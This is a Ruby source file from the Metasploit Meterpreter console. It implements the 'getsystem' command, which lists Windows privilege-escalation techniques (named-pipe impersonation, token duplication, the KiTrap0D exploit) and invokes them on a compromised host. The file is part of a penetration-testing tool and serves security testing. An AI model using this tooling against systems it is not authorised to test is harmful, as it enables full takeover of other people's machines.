# -*- coding: binary -*-
require 'rex/post/meterpreter'

module Rex
module Post
module Meterpreter
module Ui

###
#
# The local privilege escalation portion of the extension.
#
###
class Console::CommandDispatcher::Priv::Elevate

	Klass = Console::CommandDispatcher::Priv::Elevate

	include Console::CommandDispatcher

	ELEVATE_TECHNIQUE_NONE					= -1
	ELEVATE_TECHNIQUE_ANY					= 0
	ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE		= 1
	ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2	= 2
	ELEVATE_TECHNIQUE_SERVICE_TOKENDUP		= 3
	ELEVATE_TECHNIQUE_VULN_KITRAP0D			= 4

	ELEVATE_TECHNIQUE_DESCRIPTION = [ 	"All techniques available",
										"Service - Named Pipe Impersonation (In Memory/Admin)",
										"Service - Named Pipe Impersonation (Dropper/Admin)",
										"Service - Token Duplication (In Memory/Admin)",
										"Exploit - KiTrap0D (In Memory/User)"
									]
	#
	# List of supported commands.
	#
	def commands
		{
			"getsystem" => "Attempt to elevate your privilege to that of local system."
		}
	end

	#
	# Name for this dispatcher.
	#
	def name
		"Priv: Elevate"
	end


	#
	# Attempt to elevate the meterpreter to that of local system.
	#
	def cmd_getsystem( *args )

		technique = ELEVATE_TECHNIQUE_ANY

		desc = ""
		ELEVATE_TECHNIQUE_DESCRIPTION.each_index { |i| desc += "\n\t\t#{i} : #{ELEVATE_TECHNIQUE_DESCRIPTION[i]}" }

		getsystem_opts = Rex::Parser::Arguments.new(
			"-h" => [ false, "Help Banner." ],
			"-t" => [ true, "The technique to use. (Default to \'#{technique}\')." + desc ]
		)

		getsystem_opts.parse(args) { | opt, idx, val |
			case opt
				when "-h"
					print_line( "Usage: getsystem [options]\n" )
					print_line( "Attempt to elevate your privilege to that of local system." )
					print_line( getsystem_opts.usage )
					return
				when "-t"
					technique = val.to_i
			end
		}

		if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length )
			print_error( "Technique '#{technique}' is out of range." );
			return false;
		end

		result = client.priv.getsystem( technique )

		# got system?
		if result[0]
			print_line( "...got system (via technique #{result[1]})." );
		else
			print_line( "...failed to get system." );
		end

		return result
	end

end

end
end
end
end
